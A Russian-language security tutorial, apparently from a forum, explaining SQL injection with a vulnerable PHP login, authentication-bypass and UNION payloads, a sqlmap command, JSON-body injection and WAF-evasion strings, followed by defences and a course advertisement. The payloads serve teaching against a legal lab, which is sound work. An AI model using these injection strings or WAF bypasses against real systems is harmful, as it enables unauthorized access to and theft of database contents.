Представьте, что всего одна строка в текстовом поле входа способна обойти всю систему аутентификации и открыть доступ к базе данных сайта. Звучит как кино? Это реальность, и имя ей — SQL Injection.
Введение
SQL Injection — одна из самых опасных и распространённых уязвимостей в веб-приложениях. Несмотря на то, что о ней говорят уже больше 20 лет, до сих пор тысячи сайтов остаются уязвимыми.В этой статье мы разберём:
- Как работает SQL-инъекция на примере уязвимого веб-приложения.
 - Практическую эксплуатацию с использованием Python и SQLmap.
 - Как защититься от таких атак.
 - Современные техники обхода WAF и сложные кейсы.
 
Как работает SQL Injection?
SQL-инъекция возникает, когда приложение некорректно обрабатывает пользовательский ввод, позволяя злоумышленнику внедрить произвольный SQL-код.Пример уязвимого PHP-кода:
		PHP:
	
	$username = $_POST['username'];
$password = $_POST['password'];
$query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
$result = mysqli_query($conn, $query);
	admin' -- в поле username, запрос превратится в:
		SQL:
	
	SELECT * FROM users WHERE username='admin' --' AND password='...'
	-- отключает проверку пароля, и злоумышленник получает доступ к аккаунту администратора.Эксплуатация SQL-инъекции на практике
Рассмотрим реальный кейс с уязвимым сайтом (используем легальный стенд, например,
	Ссылка скрыта от гостей
 или 
	
	Ссылка скрыта от гостей
).1. Установка DVWA (для новичков)
- Скачайте DVWA с 
	
Ссылка скрыта от гостей.
 - Установите XAMPP или LAMP для локального сервера.
 - Разместите файлы DVWA в папке 
htdocs(или аналогичной). - Настройте базу данных в 
config.inc.php. - Запустите сервер и откройте DVWA в браузере.
 
2. Обнаружение уязвимости
Проверим форму входа на SQL-инъекцию:- Вводим 
'— если появляется ошибка SQL, уязвимость есть. - Пробуем 
' OR 1=1 --— если авторизация проходит, инъекция подтверждена. 
3. Извлечение данных с помощью UNION-атаки
Если приложение выводит результаты запроса, можно использовать UNION для получения данных из других таблиц.Пример запроса:
		SQL:
	
	' UNION SELECT username, password FROM users --
	
	Ссылка скрыта от гостей
 или 
	
	Ссылка скрыта от гостей
.4. Автоматизация с помощью SQLmap
Для ускорения тестирования используем SQLmap:
		Bash:
	
	sqlmap -u "http://example.com/login.php" --data="username=admin&password=123" --dbs
	-u— URL-адрес цели.--data— данные POST-запроса.--dbs— извлечение списка баз данных.
5. Современные техники: SQLi в REST API и обход WAF
SQLi в REST APIЕсли приложение использует JSON, инъекцию можно внедрить в тело запроса:
		JSON:
	
	{
  "username": "admin' OR 1=1 --",
  "password": "password"
}
	Для обхода WAF можно использовать:
- Модификацию ключевых слов:
SQL:SELSELECTECT * FROM users WHERE username='admin' - Каскадные запросы:
SQL:'; SELECT * FROM users WHERE '1'='1 
Рекомендуемые материалы по SQL Injection на Codeby.net
- CTF: Решаем SQL Injection задания
Практический разбор SQLi-задач с использованием SQLmap и ручных техник. Подходит для подготовки к CTF и отработки навыков на легальных стендах. - SQL-injection, Error Based - XPATH
Разбор инъекций через функцииextractvalue()иupdatexml()в MySQL, с примерами и объяснением механизмов. - SQL Injection: обсуждение и вопросы
Форумная тема с обсуждением различных техник SQL-инъекций, включая Boolean-based и обход фильтров, с примерами запросов и советами от участников. 
Как защититься от SQL Injection?
- Используйте подготовленные выражения (Prepared Statements)
PHP:$stmt = $conn->prepare("SELECT * FROM users WHERE username=? AND password=?"); $stmt->bind_param("ss", $username, $password); $stmt->execute(); - Применяйте ORM (например, SQLAlchemy, Django ORM)
ORM автоматически экранируют запросы, предотвращая инъекции. - Ограничивайте права БД
У приложения не должно быть прав наDROP TABLEилиUNION SELECT. - Используйте WAF (например, ModSecurity)
WAF помогает блокировать известные шаблоны атак. - Проверяйте ввод данных
Используйте whitelisting (разрешение только ожидаемых значений). 
FAQ
Только на своих приложениях или через bug bounty (например, на HackerOne).
Слепые (Blind SQLi), основанные на времени (Time-Based) и ошибках (Error-Based).
Через условные ошибки или задержки ответа (например,
SLEEP(5)).Django ORM, SQLAlchemy и Hibernate автоматически экранируют запросы.
Нет, WAF помогает, но не заменяет безопасный код.
Хотите глубже разобрать техники SQL-инъекций и научиться использовать их профессионально?
На курсе «SQL Injection: от сканирования до эксплуатации» от Codeby Academy вы:
Освоите 20+ техник SQLi (Classic, Blind, Time-based, Error-based, Out-of-Band)
Научитесь автоматизировать атаки с SQLmap и писать свои payload’ы
Получите практику на легальных стендах и CTF-задачах
Разберёте методы обхода WAF и эксплуатации SQLi в API
Старт ближайшего потока — 23 июня.
Попробуйте повторить атаку на DVWA и поделитесь результатами в комментариях!
			
				Последнее редактирование: